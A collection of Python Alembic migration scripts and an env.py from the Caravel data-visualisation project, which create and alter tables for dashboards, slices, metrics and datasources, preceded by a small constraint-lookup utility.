    return content


def generic_find_constraint_name(table, columns, referenced, db):
    """Utility to find a constraint name in alembic migrations"""
    t = sa.Table(table, db.metadata, autoload=True, autoload_with=db.engine)

    for fk in t.foreign_key_constraints:
        if (
                fk.referred_table.name == referenced and
                set(fk.column_keys) == columns):
            return fk.name






from __future__ import with_statement

import logging
from logging.config import fileConfig

from alembic import context
from flask_appbuilder import Base
from sqlalchemy import engine_from_config, pool

# this is the Alembic Config object, which provides
# access to the values within the .ini file in use.
config = context.config

# Interpret the config file for Python logging.
# This line sets up loggers basically.
fileConfig(config.config_file_name)
logger = logging.getLogger('alembic.env')

# add your model's MetaData object here
# for 'autogenerate' support
# from myapp import mymodel
from flask import current_app
config.set_main_option('sqlalchemy.url',
                       current_app.config.get('SQLALCHEMY_DATABASE_URI'))
target_metadata = Base.metadata

# other values from the config, defined by the needs of env.py,
# can be acquired:
# my_important_option = config.get_main_option("my_important_option")
# ... etc.


def run_migrations_offline():
    """Run migrations in 'offline' mode.

    This configures the context with just a URL
    and not an Engine, though an Engine is acceptable
    here as well.  By skipping the Engine creation
    we don't even need a DBAPI to be available.

    Calls to context.execute() here emit the given string to the
    script output.

    """
    url = config.get_main_option("sqlalchemy.url")
    context.configure(url=url)

    with context.begin_transaction():
        context.run_migrations()


def run_migrations_online():
    """Run migrations in 'online' mode.

    In this scenario we need to create an Engine
    and associate a connection with the context.

    """

    # this callback is used to prevent an auto-migration from being generated
    # when there are no changes to the schema
    # reference: http://alembic.readthedocs.org/en/latest/cookbook.html
    def process_revision_directives(context, revision, directives):
        if getattr(config.cmd_opts, 'autogenerate', False):
            script = directives[0]
            if script.upgrade_ops.is_empty():
                directives[:] = []
                logger.info('No changes in schema detected.')

    engine = engine_from_config(config.get_section(config.config_ini_section),
                                prefix='sqlalchemy.',
                                poolclass=pool.NullPool)

    connection = engine.connect()
    kwargs = {}
    if engine.name in ('sqlite', 'mysql'):
        kwargs = {
            'transaction_per_migration': True,
            'transactional_ddl': True,
        }
    configure_args = current_app.extensions['migrate'].configure_args
    if configure_args:
        kwargs.update(configure_args)

    context.configure(connection=connection,
                      target_metadata=target_metadata,
                      #compare_type=True,
                      process_revision_directives=process_revision_directives,
                      **kwargs)

    try:
        with context.begin_transaction():
            context.run_migrations()
    finally:
        connection.close()

if context.is_offline_mode():
    run_migrations_offline()
else:
    run_migrations_online()












"""sqla_descr

Revision ID: 55179c7f25c7
Revises: 315b3f4da9b0
Create Date: 2015-12-13 08:38:43.704145

"""

# revision identifiers, used by Alembic.
revision = '55179c7f25c7'
down_revision = '315b3f4da9b0'

from alembic import op
import sqlalchemy as sa


def upgrade():
    op.add_column('tables', sa.Column('description', sa.Text(), nullable=True))


def downgrade():
    op.drop_column('tables', 'description')






"""Fix wrong constraint on table columns

Revision ID: 1226819ee0e3
Revises: 956a063c52b3
Create Date: 2016-05-27 15:03:32.980343

"""

# revision identifiers, used by Alembic.
revision = '1226819ee0e3'
down_revision = '956a063c52b3'

from alembic import op
from caravel import db
from caravel.utils import generic_find_constraint_name
import logging

naming_convention = {
    "fk": "fk_%(table_name)s_%(column_0_name)s_%(referred_table_name)s",
}


def find_constraint_name(upgrade=True):
    cols = {'column_name'} if upgrade else {'datasource_name'}
    return generic_find_constraint_name(
        table='columns', columns=cols, referenced='datasources', db=db)


def upgrade():
    try:
        constraint = find_constraint_name() or 'fk_columns_column_name_datasources'
        with op.batch_alter_table("columns",
                naming_convention=naming_convention) as batch_op:
            batch_op.drop_constraint(constraint, type_="foreignkey")
            batch_op.create_foreign_key(
                'fk_columns_datasource_name_datasources',
                'datasources',
                ['datasource_name'], ['datasource_name'])
    except:
        logging.warning(
            "Could not find or drop constraint on `columns`")

def downgrade():
    constraint = find_constraint_name(False) or 'fk_columns_datasource_name_datasources'
    with op.batch_alter_table("columns",
        naming_convention=naming_convention) as batch_op:
        batch_op.drop_constraint(constraint, type_="foreignkey")
        batch_op.create_foreign_key(
            'fk_columns_column_name_datasources',
            'datasources',
            ['column_name'], ['datasource_name'])






"""css templates

Revision ID: d827694c7555
Revises: 43df8de3a5f4
Create Date: 2016-02-03 17:41:10.944019

"""

# revision identifiers, used by Alembic.
revision = 'd827694c7555'
down_revision = '43df8de3a5f4'

from alembic import op
import sqlalchemy as sa


def upgrade():
    op.create_table('css_templates',
    sa.Column('created_on', sa.DateTime(), nullable=False),
    sa.Column('changed_on', sa.DateTime(), nullable=False),
    sa.Column('id', sa.Integer(), nullable=False),
    sa.Column('template_name', sa.String(length=250), nullable=True),
    sa.Column('css', sa.Text(), nullable=True),
    sa.Column('changed_by_fk', sa.Integer(), nullable=True),
    sa.Column('created_by_fk', sa.Integer(), nullable=True),
    sa.ForeignKeyConstraint(['changed_by_fk'], ['ab_user.id'], ),
    sa.ForeignKeyConstraint(['created_by_fk'], ['ab_user.id'], ),
    sa.PrimaryKeyConstraint('id')
    )


def downgrade():
    op.drop_table('css_templates')






"""add schema to table model

Revision ID: bb51420eaf83
Revises: 867bf4f117f9
Create Date: 2016-04-11 22:41:06.185955

"""

# revision identifiers, used by Alembic.
revision = 'bb51420eaf83'
down_revision = '867bf4f117f9'

from alembic import op
import sqlalchemy as sa


def upgrade():
    op.add_column('tables', sa.Column('schema', sa.String(length=255), nullable=True))


def downgrade():
    op.drop_column('tables', 'schema')






"""Add new field 'is_restricted' to SqlMetric and DruidMetric

Revision ID: d8bc074f7aad
Revises: 1226819ee0e3
Create Date: 2016-06-07 12:33:25.756640

"""

# revision identifiers, used by Alembic.
revision = 'd8bc074f7aad'
down_revision = '1226819ee0e3'

from alembic import op
import sqlalchemy as sa
from caravel import db
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy import (
    Column, Integer, Boolean)

Base = declarative_base()

class DruidMetric(Base):
    """Declarative class used to do query in upgrade"""
    __tablename__ = 'metrics'
    id = Column(Integer, primary_key=True)
    is_restricted = Column(Boolean, default=False, nullable=True)

class SqlMetric(Base):
    """Declarative class used to do query in upgrade"""
    __tablename__ = 'sql_metrics'
    id = Column(Integer, primary_key=True)
    is_restricted = Column(Boolean, default=False, nullable=True)
    
def upgrade():
    op.add_column('metrics', sa.Column('is_restricted', sa.Boolean(), nullable=True))
    op.add_column('sql_metrics', sa.Column('is_restricted', sa.Boolean(), nullable=True))

    bind = op.get_bind()
    session = db.Session(bind=bind)

    # don't use models.DruidMetric 
    # because it assumes the context is consistent with the application
    for obj in session.query(DruidMetric).all():
        obj.is_restricted = False

    for obj in session.query(SqlMetric).all():
        obj.is_restricted = False

    session.commit()
    session.close()


def downgrade():
    with op.batch_alter_table('sql_metrics', schema=None) as batch_op:
        batch_op.drop_column('is_restricted')

    with op.batch_alter_table('metrics', schema=None) as batch_op:
        batch_op.drop_column('is_restricted')






"""empty message

Revision ID: 7dbf98566af7
Revises: 8e80a26a31db
Create Date: 2016-01-17 22:00:23.640788

"""

# revision identifiers, used by Alembic.
revision = '7dbf98566af7'
down_revision = '8e80a26a31db'

from alembic import op
import sqlalchemy as sa

def upgrade():
    op.add_column('slices', sa.Column('description', sa.Text(), nullable=True))

def downgrade():
    op.drop_column('slices', 'description')






"""empty message

Revision ID: 43df8de3a5f4
Revises: 7dbf98566af7
Create Date: 2016-01-18 23:43:16.073483

"""

# revision identifiers, used by Alembic.
revision = '43df8de3a5f4'
down_revision = '7dbf98566af7'

from alembic import op
import sqlalchemy as sa


def upgrade():
    op.add_column('dashboards', sa.Column('json_metadata', sa.Text(), nullable=True))


def downgrade():
    op.drop_column('dashboards', 'json_metadata')






"""adding slug to dash

Revision ID: 1a48a5411020
Revises: 289ce07647b
Create Date: 2015-12-04 09:42:16.973264

"""

# revision identifiers, used by Alembic.
revision = '1a48a5411020'
down_revision = '289ce07647b'

from alembic import op
import sqlalchemy as sa

def upgrade():
    op.add_column('dashboards', sa.Column('slug', sa.String(length=255), nullable=True))
    try:
        op.create_unique_constraint('idx_unique_slug', 'dashboards', ['slug'])
    except:
        pass


def downgrade():
    op.drop_constraint(None, 'dashboards', type_='unique')
    op.drop_column('dashboards', 'slug')






"""making audit nullable

Revision ID: 18e88e1cc004
Revises: 430039611635
Create Date: 2016-03-13 21:30:24.833107

"""

# revision identifiers, used by Alembic.
revision = '18e88e1cc004'
down_revision = '430039611635'

from alembic import op
import sqlalchemy as sa


def upgrade():
    try:
        op.alter_column(
            'clusters', 'changed_on',
            existing_type=sa.DATETIME(),
            nullable=True)
        op.alter_column(
            'clusters', 'created_on',
            existing_type=sa.DATETIME(), nullable=True)
        op.drop_constraint(None, 'columns', type_='foreignkey')
        op.drop_constraint(None, 'columns', type_='foreignkey')
        op.drop_column('columns', 'created_on')
        op.drop_column('columns', 'created_by_fk')
        op.drop_column('columns', 'changed_on')
        op.drop_column('columns', 'changed_by_fk')
        op.alter_column('css_templates', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('css_templates', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('dashboards', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('dashboards', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.create_unique_constraint(None, 'dashboards', ['slug'])
        op.alter_column('datasources', 'changed_by_fk',
                   existing_type=sa.INTEGER(),
                   nullable=True)
        op.alter_column('datasources', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('datasources', 'created_by_fk',
                   existing_type=sa.INTEGER(),
                   nullable=True)
        op.alter_column('datasources', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('dbs', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('dbs', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('slices', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('slices', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('sql_metrics', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('sql_metrics', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('table_columns', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('table_columns', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('tables', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('tables', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('url', 'changed_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        op.alter_column('url', 'created_on',
                   existing_type=sa.DATETIME(),
                   nullable=True)
        ### end Alembic commands ###
    except:
        pass


def downgrade():
    pass






"""adjusting key length

Revision ID: 956a063c52b3
Revises: f0fbf6129e13
Create Date: 2016-05-11 17:28:32.407340

"""

# revision identifiers, used by Alembic.
revision = '956a063c52b3'
down_revision = 'f0fbf6129e13'

from alembic import op
import sqlalchemy as sa


def upgrade():
    with op.batch_alter_table('clusters', schema=None) as batch_op:
        batch_op.alter_column('broker_endpoint',
                              existing_type=sa.VARCHAR(length=256),
                              type_=sa.String(length=255),
                              existing_nullable=True)
        batch_op.alter_column('broker_host',
                              existing_type=sa.VARCHAR(length=256),
                              type_=sa.String(length=255),
                              existing_nullable=True)
        batch_op.alter_column('coordinator_endpoint',
                              existing_type=sa.VARCHAR(length=256),
                              type_=sa.String(length=255),
                              existing_nullable=True)
        batch_op.alter_column('coordinator_host',
                              existing_type=sa.VARCHAR(length=256),
                              type_=sa.String(length=255),
                              existing_nullable=True)

    with op.batch_alter_table('columns', schema=None) as batch_op:
        batch_op.alter_column('column_name',
                              existing_type=sa.VARCHAR(length=256),
                              type_=sa.String(length=255),
                              existing_nullable=True)

    with op.batch_alter_table('datasources', schema=None) as batch_op:
        batch_op.alter_column('datasource_name',
                              existing_type=sa.VARCHAR(length=256),
                              type_=sa.String(length=255),
                              existing_nullable=True)

    with op.batch_alter_table('table_columns', schema=None) as batch_op:
        batch_op.alter_column('column_name',
                              existing_type=sa.VARCHAR(length=256),
                              type_=sa.String(length=255),
                              existing_nullable=True)

    with op.batch_alter_table('tables', schema=None) as batch_op:
        batch_op.alter_column('schema',
                              existing_type=sa.VARCHAR(length=256),
                              type_=sa.String(length=255),
                              existing_nullable=True)


def downgrade():
    with op.batch_alter_table('tables', schema=None) as batch_op:
        batch_op.alter_column('schema',
                              existing_type=sa.String(length=255),
                              type_=sa.VARCHAR(length=256),
                              existing_nullable=True)

    with op.batch_alter_table('table_columns', schema=None) as batch_op:
        batch_op.alter_column('column_name',
                              existing_type=sa.String(length=255),
                              type_=sa.VARCHAR(length=256),
                              existing_nullable=True)

    with op.batch_alter_table('datasources', schema=None) as batch_op:
        batch_op.alter_column('datasource_name',
                              existing_type=sa.String(length=255),
                              type_=sa.VARCHAR(length=256),
                              existing_nullable=True)

    with op.batch_alter_table('columns', schema=None) as batch_op:
        batch_op.alter_column('column_name',
                              existing_type=sa.String(length=255),
                              type_=sa.VARCHAR(length=256),
                              existing_nullable=True)

    with op.batch_alter_table('clusters', schema=None) as batch_op:
        batch_op.alter_column('coordinator_host',
                              existing_type=sa.String(length=255),
                              type_=sa.VARCHAR(length=256),
                              existing_nullable=True)
        batch_op.alter_column('coordinator_endpoint',
                              existing_type=sa.String(length=255),
                              type_=sa.VARCHAR(length=256),
                              existing_nullable=True)
        batch_op.alter_column('broker_host',
                              existing_type=sa.String(length=255),
                              type_=sa.VARCHAR(length=256),
                              existing_nullable=True)
        batch_op.alter_column('broker_endpoint',
                              existing_type=sa.String(length=255),
                              type_=sa.VARCHAR(length=256),
                              existing_nullable=True)






"""Make creator owners

Revision ID: 27ae655e4247
Revises: d8bc074f7aad
Create Date: 2016-06-27 08:43:52.592242

"""

# revision identifiers, used by Alembic.
revision = '27ae655e4247'
down_revision = 'd8bc074f7aad'

from alembic import op
from caravel import db, models


def upgrade():
    bind = op.get_bind()
    session = db.Session(bind=bind)

    objects = session.query(models.Slice).all()
    objects += session.query(models.Dashboard).all()
    for obj in objects:
        if obj.created_by and obj.created_by not in obj.owners:
            obj.owners.append(obj.created_by)
        session.commit()
    session.close()


def downgrade():
    pass






"""adding favstar model

Revision ID: a2d606a761d9
Revises: 430039611635
Create Date: 2016-03-13 09:56:58.329512

"""

# revision identifiers, used by Alembic.
revision = 'a2d606a761d9'
down_revision = '18e88e1cc004'

from alembic import op
import sqlalchemy as sa


def upgrade():
    op.create_table('favstar',
        sa.Column('id', sa.Integer(), nullable=False),
        sa.Column('user_id', sa.Integer(), nullable=True),
        sa.Column('class_name', sa.String(length=50), nullable=True),
        sa.Column('obj_id', sa.Integer(), nullable=True),
        sa.Column('dttm', sa.DateTime(), nullable=True),
        sa.ForeignKeyConstraint(['user_id'], ['ab_user.id'], ),
        sa.PrimaryKeyConstraint('id')
    )


def downgrade():
    op.drop_table('favstar')






"""is_featured

Revision ID: 12d55656cbca
Revises: 55179c7f25c7
Create Date: 2015-12-14 13:37:17.374852

"""

# revision identifiers, used by Alembic.
revision = '12d55656cbca'
down_revision = '55179c7f25c7'

from alembic import op
import sqlalchemy as sa


def upgrade():
    op.add_column('tables', sa.Column('is_featured', sa.Boolean(), nullable=True))


def downgrade():
    op.drop_column('tables', 'is_featured')







"""empty message

Revision ID: 8e80a26a31db
Revises: 2591d77e9831
Create Date: 2016-01-13 20:24:45.256437

"""

# revision identifiers, used by Alembic.
revision = '8e80a26a31db'
down_revision = '2591d77e9831'

from alembic import op
import sqlalchemy as sa


def upgrade():
    op.create_table('url',
    sa.Column('created_on', sa.DateTime(), nullable=False),
    sa.Column('changed_on', sa.DateTime(), nullable=False),
    sa.Column('id', sa.Integer(), nullable=False),
    sa.Column('url', sa.Text(), nullable=True),
    sa.Column('created_by_fk', sa.Integer(), nullable=True),
    sa.Column('changed_by_fk', sa.Integer(), nullable=True),
    sa.ForeignKeyConstraint(['changed_by_fk'], ['ab_user.id'], ),
    sa.ForeignKeyConstraint(['created_by_fk'], ['ab_user.id'], ),
    sa.PrimaryKeyConstraint('id')
    )


def downgrade():
    op.drop_table('url')






"""cache_timeouts

Revision ID: 836c0bf75904
Revises: 18e88e1cc004
Create Date: 2016-03-17 08:40:03.186534

"""

# revision identifiers, used by Alembic.
revision = '836c0bf75904'
down_revision = '18e88e1cc004'

from alembic import op
import sqlalchemy as sa


def upgrade():
    op.add_column('datasources', sa.Column('cache_timeout', sa.Integer(), nullable=True))
    op.add_column('dbs', sa.Column('cache_timeout', sa.Integer(), nullable=True))
    op.add_column('slices', sa.Column('cache_timeout', sa.Integer(), nullable=True))
    op.add_column('tables', sa.Column('cache_timeout', sa.Integer(), nullable=True))


def downgrade():
    op.drop_column('tables', 'cache_timeout')
    op.drop_column('slices', 'cache_timeout')
    op.drop_column('dbs', 'cache_timeout')
    op.drop_column('datasources', 'cache_timeout')






"""empty message

Revision ID: fee7b758c130
Revises: ('1d2ddd543133', '763d4b211ec9')
Create Date: 2016-03-26 15:09:43.583114

"""

# revision identifiers, used by Alembic.
revision = 'fee7b758c130'
down_revision = ('1d2ddd543133', '763d4b211ec9')


def upgrade():
    pass


def downgrade():
    pass






"""d3format_by_metric

Revision ID: f162a1dea4c4
Revises: 960c69cb1f5b
Create Date: 2016-07-06 22:04:28.685100

"""

# revision identifiers, used by Alembic.
revision = 'f162a1dea4c4'
down_revision = '960c69cb1f5b'

from alembic import op
import sqlalchemy as sa


def upgrade():
    op.add_column('metrics', sa.Column('d3format', sa.String(length=128), nullable=True))
    op.add_column('sql_metrics', sa.Column('d3format', sa.String(length=128), nullable=True))


def downgrade():
    op.drop_column('sql_metrics', 'd3format')
    op.drop_column('metrics', 'd3format')






"""Adding extra field to Database model

Revision ID: 867bf4f117f9
Revises: fee7b758c130
Create Date: 2016-04-03 15:23:20.280841

"""

# revision identifiers, used by Alembic.
revision = '867bf4f117f9'
down_revision = 'fee7b758c130'

from alembic import op
import sqlalchemy as sa


def upgrade():
    op.add_column('dbs', sa.Column('extra', sa.Text(), nullable=True))


def downgrade():
    op.drop_column('dbs', 'extra')






"""user_id

Revision ID: 2591d77e9831
Revises: 12d55656cbca
Create Date: 2015-12-15 17:02:45.128709

"""

# revision identifiers, used by Alembic.
revision = '2591d77e9831'
down_revision = '12d55656cbca'

from alembic import op
import sqlalchemy as sa


def upgrade():
  with op.batch_alter_table('tables') as batch_op:
    batch_op.add_column(sa.Column('user_id', sa.Integer()))
    batch_op.create_foreign_key('user_id', 'ab_user', ['user_id'], ['id'])


def downgrade():
  with op.batch_alter_table('tables') as batch_op:
    batch_op.drop_constraint('user_id', type_='foreignkey')
    batch_op.drop_column('user_id')






"""add dttm_format related fields in table_columns

Revision ID: 960c69cb1f5b
Revises: d8bc074f7aad
Create Date: 2016-06-16 14:15:19.573183

"""

# revision identifiers, used by Alembic.
revision = '960c69cb1f5b'
down_revision = '27ae655e4247'

from alembic import op
import sqlalchemy as sa


def upgrade():
    op.add_column('table_columns', sa.Column('python_date_format', sa.String(length=255), nullable=True))
    op.add_column('table_columns', sa.Column('database_expression', sa.String(length=255), nullable=True))


def downgrade():
    op.drop_column('table_columns', 'python_date_format')
    op.drop_column('table_columns', 'database_expression')






"""Materializing permission

Revision ID: c3a8f8611885
Revises: 4fa88fe24e94
Create Date: 2016-04-25 08:54:04.303859

"""

# revision identifiers, used by Alembic.
revision = 'c3a8f8611885'
down_revision = '4fa88fe24e94'

from alembic import op
import sqlalchemy as sa
from caravel import db
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy import (
    Column, Integer, String, ForeignKey)

Base = declarative_base()

class Slice(Base):
    """Declarative class to do query in upgrade"""
    __tablename__ = 'slices'
    id = Column(Integer, primary_key=True)
    slice_name = Column(String(250))
    druid_datasource_id = Column(Integer, ForeignKey('datasources.id'))
    table_id = Column(Integer, ForeignKey('tables.id'))
    perm = Column(String(2000))
    
def upgrade():
    bind = op.get_bind()
    op.add_column('slices', sa.Column('perm', sa.String(length=2000), nullable=True))
    session = db.Session(bind=bind)

    # Use Slice class defined here instead of models.Slice
    for slc in session.query(Slice).all():
        if slc.datasource:
            slc.perm = slc.datasource.perm
            session.merge(slc)
            session.commit()
    db.session.close()


def downgrade():
    # Use batch_alter_table because dropping columns is not supported in SQLite
    with op.batch_alter_table('slices') as batch_op:
        batch_op.drop_column('perm')






"""log more

Revision ID: 430039611635
Revises: d827694c7555
Create Date: 2016-02-10 08:47:28.950891

"""

# revision identifiers, used by Alembic.
revision = '430039611635'
down_revision = 'd827694c7555'

from alembic import op
import sqlalchemy as sa

def upgrade():
    op.add_column('logs', sa.Column('dashboard_id', sa.Integer(), nullable=True))
    op.add_column('logs', sa.Column('slice_id', sa.Integer(), nullable=True))


def downgrade():
    op.drop_column('logs', 'slice_id')
    op.drop_column('logs', 'dashboard_id')






"""Init

Revision ID: 4e6a06bad7a8
Revises: None
Create Date: 2015-09-21 17:30:38.442998

"""

# revision identifiers, used by Alembic.
revision = '4e6a06bad7a8'
down_revision = None

from alembic import op
import sqlalchemy as sa


def upgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.create_table('clusters',
    sa.Column('created_on', sa.DateTime(), nullable=False),
    sa.Column('changed_on', sa.DateTime(), nullable=False),
    sa.Column('id', sa.Integer(), nullable=False),
    sa.Column('cluster_name', sa.String(length=250), nullable=True),
    sa.Column('coordinator_host', sa.String(length=255), nullable=True),
    sa.Column('coordinator_port', sa.Integer(), nullable=True),
    sa.Column('coordinator_endpoint', sa.String(length=255), nullable=True),
    sa.Column('broker_host', sa.String(length=255), nullable=True),
    sa.Column('broker_port', sa.Integer(), nullable=True),
    sa.Column('broker_endpoint', sa.String(length=255), nullable=True),
    sa.Column('metadata_last_refreshed', sa.DateTime(), nullable=True),
    sa.Column('created_by_fk', sa.Integer(), sa.ForeignKey("ab_user.id"), nullable=True),
    sa.Column('changed_by_fk', sa.Integer(), sa.ForeignKey("ab_user.id"), nullable=True),
    sa.PrimaryKeyConstraint('id'),
    sa.UniqueConstraint('cluster_name')
    )
    op.create_table('dashboards',
    sa.Column('created_on', sa.DateTime(), nullable=False),
    sa.Column('changed_on', sa.DateTime(), nullable=False),
    sa.Column('id', sa.Integer(), nullable=False),
    sa.Column('dashboard_title', sa.String(length=500), nullable=True),
    sa.Column('position_json', sa.Text(), nullable=True),
    sa.Column('created_by_fk', sa.Integer(), sa.ForeignKey("ab_user.id"), nullable=True),
    sa.Column('changed_by_fk', sa.Integer(), sa.ForeignKey("ab_user.id"), nullable=True),
    sa.PrimaryKeyConstraint('id')
    )
    op.create_table('dbs',
    sa.Column('created_on', sa.DateTime(), nullable=False),
    sa.Column('changed_on', sa.DateTime(), nullable=False),
    sa.Column('id', sa.Integer(), nullable=False),
    sa.Column('database_name', sa.String(length=250), nullable=True),
    sa.Column('sqlalchemy_uri', sa.String(length=1024), nullable=True),
    sa.Column('created_by_fk', sa.Integer(), sa.ForeignKey("ab_user.id"), nullable=True),
    sa.Column('changed_by_fk', sa.Integer(), sa.ForeignKey("ab_user.id"), nullable=True),
    sa.PrimaryKeyConstraint('id'),
    sa.UniqueConstraint('database_name')
    )
    op.create_table('datasources',
    sa.Column('created_on', sa.DateTime(), nullable=False),
    sa.Column('changed_on', sa.DateTime(), nullable=False),
    sa.Column('id', sa.Integer(), nullable=False),
    sa.Column('datasource_name', sa.String(length=255), nullable=True),
    sa.Column('is_featured', sa.Boolean(), nullable=True),
    sa.Column('is_hidden', sa.Boolean(), nullable=True),
    sa.Column('description', sa.Text(), nullable=True),
    sa.Column('default_endpoint', sa.Text(), nullable=True),
    sa.Column('user_id', sa.Integer(), sa.ForeignKey("ab_user.id"), nullable=True),
    sa.Column('cluster_name', sa.String(length=250), sa.ForeignKey("clusters.cluster_name"), nullable=True),
    sa.Column('created_by_fk', sa.Integer(), sa.ForeignKey("ab_user.id"), nullable=True),
    sa.Column('changed_by_fk', sa.Integer(), sa.ForeignKey("ab_user.id"), nullable=True),
    sa.PrimaryKeyConstraint('id'),
    sa.UniqueConstraint('datasource_name')
    )
    op.create_table('tables',
    sa.Column('created_on', sa.DateTime(), nullable=False),
    sa.Column('changed_on', sa.DateTime(), nullable=False),
    sa.Column('id', sa.Integer(), nullable=False),
    sa.Column('table_name', sa.String(length=250), nullable=True),
    sa.Column('main_dttm_col', sa.String(length=250), nullable=True),
    sa.Column('default_endpoint', sa.Text(), nullable=True),
    sa.Column('database_id', sa.Integer(), sa.ForeignKey("dbs.id"), nullable=False),
    sa.Column('created_by_fk', sa.Integer(), sa.ForeignKey("ab_user.id"), nullable=True),
    sa.Column('changed_by_fk', sa.Integer(), sa.ForeignKey("ab_user.id"), nullable=True),
    sa.PrimaryKeyConstraint('id'),
    sa.UniqueConstraint('table_name')
    )
    op.create_table('columns',
    sa.Column('created_on', sa.DateTime(), nullable=False),
    sa.Column('changed_on', sa.DateTime(), nullable=False),
    sa.Column('id', sa.Integer(), nullable=False),
    sa.Column('datasource_name', sa.String(length=255), nullable=True),
    sa.Column('column_name', sa.String(length=255), nullable=True),
    sa.Column('is_active', sa.Boolean(), nullable=True),
    sa.Column('type', sa.String(length=32), nullable=True),
    sa.Column('groupby', sa.Boolean(), nullable=True),
    sa.Column('count_distinct', sa.Boolean(), nullable=True),
    sa.Column('sum', sa.Boolean(), nullable=True),
    sa.Column('max', sa.Boolean(), nullable=True),
    sa.Column('min', sa.Boolean(), nullable=True),
    sa.Column('filterable', sa.Boolean(), nullable=True),
    sa.Column('description', sa.Text(), nullable=True),
    sa.Column('created_by_fk', sa.Integer(), sa.ForeignKey("ab_user.id"), nullable=True),
    sa.Column('changed_by_fk', sa.Integer(), sa.ForeignKey("ab_user.id"), nullable=True),
    sa.PrimaryKeyConstraint('id')
    )
    op.create_table('metrics',
    sa.Column('id', sa.Integer(), nullable=False),
    sa.Column('metric_name', sa.String(length=512), nullable=True),
    sa.Column('verbose_name', sa.String(length=1024), nullable=True),
    sa.Column('metric_type', sa.String(length=32), nullable=True),
    sa.Column('datasource_name', sa.String(length=255), sa.ForeignKey("datasources.datasource_name"), nullable=True),
    sa.Column('json', sa.Text(), nullable=True),
    sa.Column('description', sa.Text(), nullable=True),
    sa.ForeignKeyConstraint(['datasource_name'], ['datasources.datasource_name'], ),
    sa.PrimaryKeyConstraint('id')
    )
    op.create_table('slices',
    sa.Column('created_on', sa.DateTime(), nullable=False),
    sa.Column('changed_on', sa.DateTime(), nullable=False),
    sa.Column('id', sa.Integer(), nullable=False),
    sa.Column('slice_name', sa.String(length=250), nullable=True),
    sa.Column('druid_datasource_id', sa.Integer(), sa.ForeignKey("datasources.id"), nullable=True),
    sa.Column('table_id', sa.Integer(), sa.ForeignKey("tables.id"), nullable=True),
    sa.Column('datasource_type', sa.String(length=200), nullable=True),
    sa.Column('datasource_name', sa.String(length=2000), nullable=True),
    sa.Column('viz_type', sa.String(length=250), nullable=True),
    sa.Column('params', sa.Text(), nullable=True),
    sa.Column('created_by_fk', sa.Integer(), sa.ForeignKey("ab_user.id"), nullable=True),
    sa.Column('changed_by_fk', sa.Integer(), sa.ForeignKey("ab_user.id"), nullable=True),
    sa.PrimaryKeyConstraint('id')
    )
    op.create_table('sql_metrics',
    sa.Column('created_on', sa.DateTime(), nullable=False),
    sa.Column('changed_on', sa.DateTime(), nullable=False),
    sa.Column('id', sa.Integer(), nullable=False),
    sa.Column('metric_name', sa.String(length=512), nullable=True),
    sa.Column('verbose_name', sa.String(length=1024), nullable=True),
    sa.Column('metric_type', sa.String(length=32), nullable=True),
    sa.Column('table_id', sa.Integer(), sa.ForeignKey("tables.id"), nullable=True),
    sa.Column('expression', sa.Text(), nullable=True),
    sa.Column('description', sa.Text(), nullable=True),
    sa.Column('created_by_fk', sa.Integer(), sa.ForeignKey("ab_user.id"), nullable=True),
    sa.Column('changed_by_fk', sa.Integer(), sa.ForeignKey("ab_user.id"), nullable=True),
    sa.PrimaryKeyConstraint('id')
    )
    op.create_table('table_columns',
    sa.Column('created_on', sa.DateTime(), nullable=False),
    sa.Column('changed_on', sa.DateTime(), nullable=False),
    sa.Column('id', sa.Integer(), nullable=False),
    sa.Column('table_id', sa.Integer(), sa.ForeignKey("tables.id"), nullable=True),
    sa.Column('column_name', sa.String(length=255), nullable=True),
    sa.Column('is_dttm', sa.Boolean(), nullable=True),
    sa.Column('is_active', sa.Boolean(), nullable=True),
    sa.Column('type', sa.String(length=32), nullable=True),
    sa.Column('groupby', sa.Boolean(), nullable=True),
    sa.Column('count_distinct', sa.Boolean(), nullable=True),
    sa.Column('sum', sa.Boolean(), nullable=True),
    sa.Column('max', sa.Boolean(), nullable=True),
    sa.Column('min', sa.Boolean(), nullable=True),
    sa.Column('filterable', sa.Boolean(), nullable=True),
    sa.Column('description', sa.Text(), nullable=True),
    sa.Column('created_by_fk', sa.Integer(), sa.ForeignKey("ab_user.id"), nullable=True),
    sa.Column('changed_by_fk', sa.Integer(), sa.ForeignKey("ab_user.id"), nullable=True),
    sa.PrimaryKeyConstraint('id')
    )
    op.create_table('dashboard_slices',
    sa.Column('id', sa.Integer(), nullable=False),
    sa.Column('dashboard_id', sa.Integer(), sa.ForeignKey("dashboards.id"), nullable=True),
    sa.Column('slice_id', sa.Integer(), sa.ForeignKey("slices.id"), nullable=True),
    sa.PrimaryKeyConstraint('id')
    )
    ### end Alembic commands ###


def downgrade():
    ### commands auto generated by Alembic - please adjust! ###
    op.drop_table('dashboard_slices')
    op.drop_table('table_columns')
    op.drop_table('sql_metrics')
    op.drop_table('slices')
    op.drop_table('metrics')
    op.drop_table('columns')
    op.drop_table('tables')
    op.drop_table('datasources')
    op.drop_table('dbs')
    op.drop_table('dashboards')
    op.drop_table('clusters')
